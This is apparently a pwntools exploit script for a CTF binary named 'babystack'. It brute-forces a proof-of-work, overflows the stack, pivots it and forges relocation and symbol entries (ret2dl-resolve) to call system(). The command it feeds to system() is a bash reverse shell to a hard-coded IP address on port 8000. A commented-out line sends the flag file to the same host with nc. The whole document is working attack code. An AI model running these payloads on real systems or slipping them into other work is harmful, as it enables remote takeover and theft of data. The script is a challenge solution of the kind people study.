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#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from pwn import * | |
code = ELF('./babystack') | |
context.arch = code.arch | |
context.log_level = 'debug' | |
gadget = lambda x: next(code.search(asm(x, os='linux', arch=code.arch))) | |
if len(sys.argv) > 2: | |
r = remote(sys.argv[1], int(sys.argv[2])) | |
libc = './bc.so.6' | |
elif len(sys.argv) > 1: | |
r = remote('127.0.0.1', 4444) | |
libc = ELF('/dbg64/libc-amd64.so') | |
else: | |
#r = remote('127.0.0.1', 4444) | |
r = process('./babystack') | |
libc = code.libc | |
def readn(buf, size, ret): | |
return flat( | |
code.plt['read'], | |
ret, | |
0, | |
buf, | |
size | |
) | |
from hashlib import sha256 | |
chal = r.recvline().strip() | |
sol = iters.bruteforce(lambda x: sha256(chal + x).digest().startswith('\0\0\0'), string.lowercase + string.uppercase + '1234567890', 4) | |
print sol | |
r.send(sol) | |
plt0 = 0x80482F0 | |
buf = 0x804af00 | |
leave_ret = gadget('leave; ret') | |
dynsym = 0x080481cc | |
dynstr = 0x0804822c | |
relplt = 0x080482b0 | |
q = '' | |
q += 'A'*40 | |
q += p32(buf) | |
q += readn(buf, 0x100-0x40, leave_ret) | |
print "size1: %d" % len(q) | |
index_offset = (buf+ 28) - relplt | |
fake_sym_addr = buf + 36 | |
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) | |
fake_sym_addr = fake_sym_addr + align | |
index_dynsym = (fake_sym_addr - dynsym) / 0x10 | |
r_info = (index_dynsym << 8) | 0x7 | |
fake_reloc = p32(code.got['alarm']) + p32(r_info) | |
st_name = (fake_sym_addr + 0x10) - dynstr | |
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) | |
p = 'A'*4 | |
p += p32(plt0) | |
p += p32(index_offset) | |
p += 'AAAA' | |
p += p32(buf+80) | |
p += 'aaaa' | |
p += 'aaaa' | |
p += fake_reloc # (buf+28) | |
p += 'B' * align | |
p += fake_sym # (buf+36) | |
p += "system\x00" | |
p += 'A' * (80 - len(p)) | |
p += "bash -c 'exec 9<> /dev/tcp/139.224.220.67/8000;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;'\x00" | |
#p += "nc 139.224.220.67 8000 < flag\x00" | |
p = p.ljust(0x100-0x40) | |
print "size2: %d" % len(p) | |
r.send(q + p) | |
r.interactive() |
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